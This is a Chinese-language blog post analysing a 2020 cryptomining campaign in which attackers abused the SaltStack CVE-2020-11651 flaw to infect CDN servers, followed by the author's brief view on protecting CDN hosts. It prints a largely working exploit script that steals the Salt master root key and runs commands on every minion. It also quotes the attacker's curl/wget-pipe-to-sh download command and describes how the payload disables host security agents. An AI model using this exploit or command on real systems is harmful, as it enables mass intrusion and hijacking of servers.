写点什么

来看看 CDN 网络安全防护的方案

用户头像
H
关注
发布于: 12 小时前
来看看CDN网络安全防护的方案

前言

今天通过 SaltStack 漏洞这个药引子,聊聊 CDN 网络安全防护这个话题。先聊聊,CDN 定义:Content Delivery Network,内容分发网络,给用户带来的价值,加速获得其静态或者动态内容,典型的应用场景,360 安全卫士中的软件安装,后台使用的就 CDN 网络。在比如目前比较火的抖音短视频,用户在某个地方上传视频后,几亿的用户都可以快速看到,很难想象,如果这个短视频在一台服务器上,几千万人同时去下载,网络堵塞延迟会多大?


再聊聊 SaltStack,是一个服务器基础架构集中化管理平台,几分钟之内就可以运行起来,速度特别快,服务器之间秒级通讯,扩展性好,很容易批量管理上万台服务器,显著的降低人力与运维成本。它是简化版的 puppet,saltstack 基于 Python 语言实现,结合轻量级消息队列(ZeroMQ),Python 第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack 和 PyYAML 等)构建,SaltStack 是一套 C/S 架构的运维工具,服务端口默认为 4505/4506,两个端口如果对外网开放危害非常大。


目前商业化的 CDN 绝大部分都在使用 SaltStack 做软件分发系统。黑客利用 SaltStack 的远程命令执行漏洞 CVE-2020-11651 可以直接绕过 Salt-Master 的认证机制,调用相关函数向 Salt-Minion 下发指令执行系统命令,最终导致挖矿。


攻击详情


1、通过网络空间搜索引擎https://www.shodan.io/等获取 外网开发 SaltStack master 的主机列表。


2、通过 cve-2020-11651.py 批量执行,下载 sa.sh 脚本。获取到 master key,在几分钟内就会吧命令传递到 cdn 服务器连接的 client,*山云大约有几千台机器就是这么感染的。(curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh


def ping_master():

    print("Attempting to ping master at "+master_ip)

    try:

        msg = {"cmd":"ping"}

        response = clear_channel.send(msg, timeout=3)

        if response:

            return True

    except salt.exceptions.SaltReqTimeoutError:

        return False

    return False

def get_rootkey():

    try:

        response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)

        for i in response:

            if isinstance(i,dict) and len(i) == 1:

                rootkey = list(i.values())[0]

                print("Retrieved root key: " + rootkey)

                return rootkey

        return False


    except:

        return False

def send_command_to_minions(command):

    print("Sending command to all minions on master")

    jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())

    cmd = "/bin/sh -c '{0}'".format(command)

    msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}

    try:

        response = clear_channel.send(msg,timeout=3)

        if response == None:

            return True

        else:

            return False

    except:

        return False

def master_shell(root_key,command):

    msg = {"key":root_key,

            "cmd":"runner",

            'fun': 'salt.cmd',

            "kwarg":{

                "fun":"cmd.exec_code",

                "lang":"python3",

                "code":"import subprocess;subprocess.call('{}',shell=True)".format(command)

                },

            'jid': '20200504042611133934',

            'user': 'sudo_user',

            '_stamp': '2020-05-04T04:26:13.609688'}

    try:

        response = clear_channel.send(msg,timeout=3)

        print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")

        return True

    except:

        print("something failed")

        return False

if __name__=="__main__":

    if len(sys.argv) <= 2:

        print("Not enough args")

        print("Use like python3 cve-2020-11651.py)

        sys.exit(1)



    target = sys.argv[1]

    master_minion_root = sys.argv[2]

    master_ip = target

    master_port = '4506'

    minion_config = {

    'transport': 'zeromq',

    'pki_dir': '/tmp',

    'id': 'root',

    'log_level': 'debug',

    'master_ip': master_ip,

    'master_port': master_port,

    'auth_timeout': 5,

    'auth_tries': 1,

    'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)

    }

    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

    if not ping_master():

        print("Failed to ping the specified master server, exiting")

        sys.exit(1)

    if master_minion_root == "master" or master_minion_root == "minions":

        command = sys.argv[3]

        rootkey = get_rootkey()

        if not rootkey:

            print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")

            sys.exit(1)

        else:

            if master_minion_root == "master":

                master_shell(rootkey,command)

            else:

                send_command_to_minions(command)

    elif master_minion_root == "fetchkeyonly":

        get_rootkey()

    else:

        print("Invalid usage")


3、执行 sa.sh 做以下操作:


@1、关闭防火墙、设置 ulimit、系统 syslog 日志删除、设置 tmp 目录权限关闭 watchdog,设置 ssh 共哟啊文件权限,清理 tmp 目录等。


@2、干掉安骑士,云镜(用齐自身卸载脚本操作),看来阿里云和腾讯云的 CDN 网络受到严重的摧残,也说明黑客分子在不断的进化当中,因为很多时候,这种下载脚本在本机上有主机安全软件的情况下,都是无效的。


@3、清理 cpu 资源占用超过 10%的进程,保证有更多的硬件资源可以挖矿。也间接终止其他挖矿进程。同时清理 docker 形式运行的挖矿进程。


@4、然后下载 salt-store,释放出罗门币挖矿进程。


4、salt-store 执行以下操作


@1、使用 masscan 扫描 redis 服务器,二进制分析


@2、样本传到 virustotal 上发现连接的连接 C2 地址(IP 地址)。


由于 3、4 网上有很多分析,我就不在赘述,不过从整个入侵过程来看,黑客搞的这个脚本目的是短平快,C2 更新使用的 IP 而非域名,这个有点 low,但是他把挖矿程序开足马力,能挖多久就挖多久,门罗币钱包为:


46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb


这个罗门币里面大约获利 400 万左右。正好赶上五一期间,但是黑客显然没有运维经验,CPU 搞那么高,监控肯定能发现,大规模服务器出现 CPU 过高情况,肯定会有安全分析人员登录服务器检查。还有 CDN 会托管图片等静态资源,突然之间有超时的情况,也会引起重视的。估计 4 月 30 号开扫描,挖到 5 月 3 号。还有估计也没想到会有那么多 CDN 服务提供商中招。


CDN 安全防护方案针对 CDN 这种边缘服务,其实很难设计安全防护方案,因为,CDN 厂商为了节省资源,二级节点一般部署 10 台二手服务器,处理带宽 40~80G。一级节点也就 20 台服务器,做 cache 用。公有云 CDN 业务本身就是赔钱的买卖。你说上一套具备纵深防护体系的安全解决方案是不现实的。个人觉得只要在物理服务器上安装主机安全 Agent 就满足需求了。有的 CDN 厂商还在 CDN 机房扩建高防机房,复用带宽,这种情况下,针对主机层面的网络通讯流量,处理尤为重要。所以,主机安全 Agent 对网络流量的监控建议 disable 掉。主要能抓到挖矿进程就好。



用户头像

H

关注

还未添加个人签名 2021.07.04 加入

想白嫖网安学习资料的,扣我

评论

发布
暂无评论
来看看CDN网络安全防护的方案